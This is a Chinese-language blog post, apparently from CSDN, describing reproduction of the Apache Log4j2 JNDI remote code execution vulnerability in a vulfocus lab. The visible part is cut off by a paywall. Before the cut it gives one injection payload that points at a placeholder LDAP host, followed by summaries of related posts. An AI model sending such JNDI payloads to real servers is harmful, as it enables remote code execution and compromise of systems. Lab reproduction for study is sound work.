【漏洞复现】Apache Log4j2 远程代码执行漏洞

已于 2022-07-20 11:25:18 修改
阅读量892 收藏 2
点赞数 1
分类专栏： 漏洞复现 文章标签： apache log4j
于 2022-07-20 11:22:20 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46944519/article/details/125887740
版权

文章目录

声明

本篇文章仅用于技术研究与漏洞复现学习，切勿将文章攻击方法用于未经授权的实战测试中，造成任何后果与本文和作者无关！

一、产品简介

Apache Log4j2是一个·基于Java的日志记录工具，该工具重写了Log4j框架，并且引入大量丰富的特性，该日志框架被大量用于业务系统开发，用来记录日志信息。

二、漏洞概述

由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。

三、影响范围

Apache Log4j2 2.0-beta9 到 2.15.0

四、漏洞复现

以vulfocus靶场环境测试
打开靶场界面
在这里插入图片描述
Burp抓包，直接使用payload进行测试，看dnslog是否有回显 payload: ${jndi:ldap://X.X.X.X/TomcatBypass/TomcatEcho}

了解本专栏 订阅专栏 解锁全文 超级会员免费看
李火火安全阁
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
《漏洞研究》Apache Log4j2 远程代码执行漏洞
1
11-04 1662
Apache Log4j2 组件存在远程代码执行漏洞(CVE-2021-44228)，该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。
解决Apache Log4j 远程代码执行漏洞log4j2部分jar
12-10
解决Apache Log4j 远程代码执行漏洞log4j2部分jar，包含log4j-1.2-api-2.15.0.jar，log4j-api-2.15.0.jar，log4j-core-2.15.0.jar，log4j-to-slf4j-2.15.0.jar
Apache Log4j2 远程代码执行漏洞检测工具
12-15
Apache Log4j2 远程代码执行漏洞检测工具，包含windows版和linux版。图形化 Apache Log4j2检测工具
Apache Log4j2漏洞 (CVE-2021-44228) 分析与复现
未完成的歌~的博客
03-15 8382
Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本，其优异的性能被广泛的应用于各种常见的 Web 服务中。Log4j2 在特定的版本中由于启用了 lookup 功能，导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数，是通过配置文件中的${}语法调用的，例如：如果在日志消息中使用了，那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值，并将其替换为实际值。
Log4j2远程代码执行漏洞
最新发布
2301_82000839的博客
07-08 922
log4j2漏洞是java应用常见开源日志库，是一个就Java的日志记录工具Apache Log4j2中存在JNDI注入漏洞，主要原理是利用log4j2的日志输出JNDI远程对象时,调用远程对象没做检查导致，程序将用户输入的数据进行日志记录时即可触发该漏洞并可在目标服务器上执行任意代码。该漏洞利用过程需要找到一个能触发远程加载并应用配置的输入点，迫使服务器远程加载和修改配置的前提下使目标系统通过JNDI远程获取数据库源，触发攻击者的恶意代码。
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)
weixin_44047654的博客
01-09 1901
Apache Log4j2 远程代码执行漏洞< 2.15.0(CVE-2021-44228)
Apache Log4j2远程代码执行漏洞复现
weixin_42345596的博客
12-10 8223
漏洞原理 log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。 影响版本 Log4j2.x<=2.14.1 漏洞复现 漏洞分析的可以参考逐日实验室的这篇：https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ 准备环境 把受影响的jar包拖进随手创建的一个java项目，这里部署jar包步骤就不写了，网上一搜傻瓜式教程都有。 攻击机环境搭建，这里我用的vps（师兄的，因为我的是Windows。）jdk版本最好&
Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现
今天是几号的博客
04-12 2719
Apache log4j是Apache的一个开源项目，Java的日志记录工具(同logback)。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。 影响范围 Apache Log4j 2.x
Apache log4j2远程代码执行漏洞
持 开源思想，撰 必胜所学，望 勤学者，无难处
05-21 194
该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。此次漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。2、若项目使用Maven打包，查看项目pom文件是否存在groupId包含log4j的依赖。1、检查Java应用是否引入log4j-api,log4j-core两个jar。1、官方已于2021年12月10日发布新版本修复该漏洞，请尽快升级至安全版本。
Apache Log4j 远程代码执行漏洞(CVE-2021-44832)
10-25
Apache Log4j 是一个广泛使用的 Java 日志框架，它允许应用...总之，Apache Log4j 远程代码执行漏洞是一个重大安全事件，强调了在软件开发和运维过程中对安全性的重视。及时更新和维护软件库是防止此类漏洞影响的关键。
Apache Log4j 2代码漏洞处置指南及检测工具.zip
12-10
Apache Log4j 2存在远程代码执行漏洞处置指南 及期检测工具
Apache Log4j2（远程代码执行漏洞）
F2444790591的博客
07-08 7971
1、下载、解压、重命名vulhub-master.zip为vulhub 2、进入漏洞环境下，启动该环境。 3、访问目标靶场： 4、在Dnslog.cn中生成接收信息的域名 。 5、提交dnslog payload 参数，进行访问。 6、可以发现dnslog接收到返回的信息，证明存在log4
Apache Log4j2远程代码执行漏洞
qq_26622469的博客
12-16 2120
漏洞分析 组件介绍 Apache Log4j2 是一款Java日志框架，是Log4j 的升级版。可以控制每一条日志的输出格式。通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。由于其易用性被广泛集成于各种服务器和组件中。 漏洞描述 2021年12月9日，深信服安全团队监测到一则Apache Log4j2 组件存在远程代码执行漏洞的信息，并成功复现该漏洞。漏洞编号：CNVD-2021-95914。漏洞威胁等级：严重。 该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能，
【复现】Apache Log4j2 远程代码执行漏洞
趣学程序
12-14 870
Apache Log4j2 远程代码执行漏洞 漏洞描述 Apache Log4j是Apache的一个开源项目，Apache log4j2是Log4j的升级版本，我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。 漏洞影响版本: 2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1 复现 仅个人学习总结 效果 MyServer.java package server;
Apache Log4j2 远程代码执行漏洞 学习
YouthBelief的博客
12-12 3505
Apache Log4j0x00 前言0x01 漏洞描述0x02 影响范围0x03 环境搭建0x04 漏洞复现0x05 修复方法0x06 总结 所有文章，仅供安全研究与学习之用，后果自负! 0x00 前言 Apache Log4j2是一款优秀的Java日志框架。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。 0x01 漏洞描述 由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配
Apache Log4j2 远程代码执行 漏洞
马春林的专栏
12-10 3455
log4j安全漏洞
灭世之Apache Log4j2 远程代码执行漏洞
tangshuangsss的专栏
12-11 425
点击"仙网攻城狮”关注我们哦~不当想研发的渗透人不是好运维让我们每天进步一点点简介网上披露Apache Log4j2 远程代码执行漏洞，由于Apache Log4j2某些功能存在递归解析功...
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2504
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
apache log4j2远程代码执行漏洞检测工具
08-31
Apache Log4j2远程代码执行漏洞是一种影响Apache Log4j2日志记录库的严重安全漏洞。该漏洞允许攻击者通过发送特制的网络请求，远程执行任意代码，导致服务器完全被控制。 为了帮助检测这个漏洞，一些安全公司和社区为用户提供了相关工具。这些工具可以扫描用户的服务器和应用程序，检测是否受到Apache Log4j2远程代码执行漏洞的威胁。 这些工具通常会发送特定的请求来触发漏洞，并检查服务器的日志文件或响应，以确定是否存在漏洞。如果漏洞存在，工具将提供警告或报告，并建议相应的修复措施。 除了工具之外，用户还可以手动检查漏洞。他们可以通过编辑Log4j2的配置文件，将关键性日志记录功能设置为丢失或关闭。关闭该功能可以阻止攻击者利用漏洞，但也可能导致一些日志记录功能的失效。 为了更好地保护服务器和应用程序，用户应该尽快更新Apache Log4j2到最新版本。此外，他们还应该保持注意，及时关注安全更新和公告，并及时采取相应措施。 总之，Apache Log4j2远程代码执行漏洞检测工具是一种帮助用户发现漏洞并提供修复建议的工具。用户可以使用这些工具进行定期扫描，发现并处理潜在的漏洞，以提高系统的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李火火安全阁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值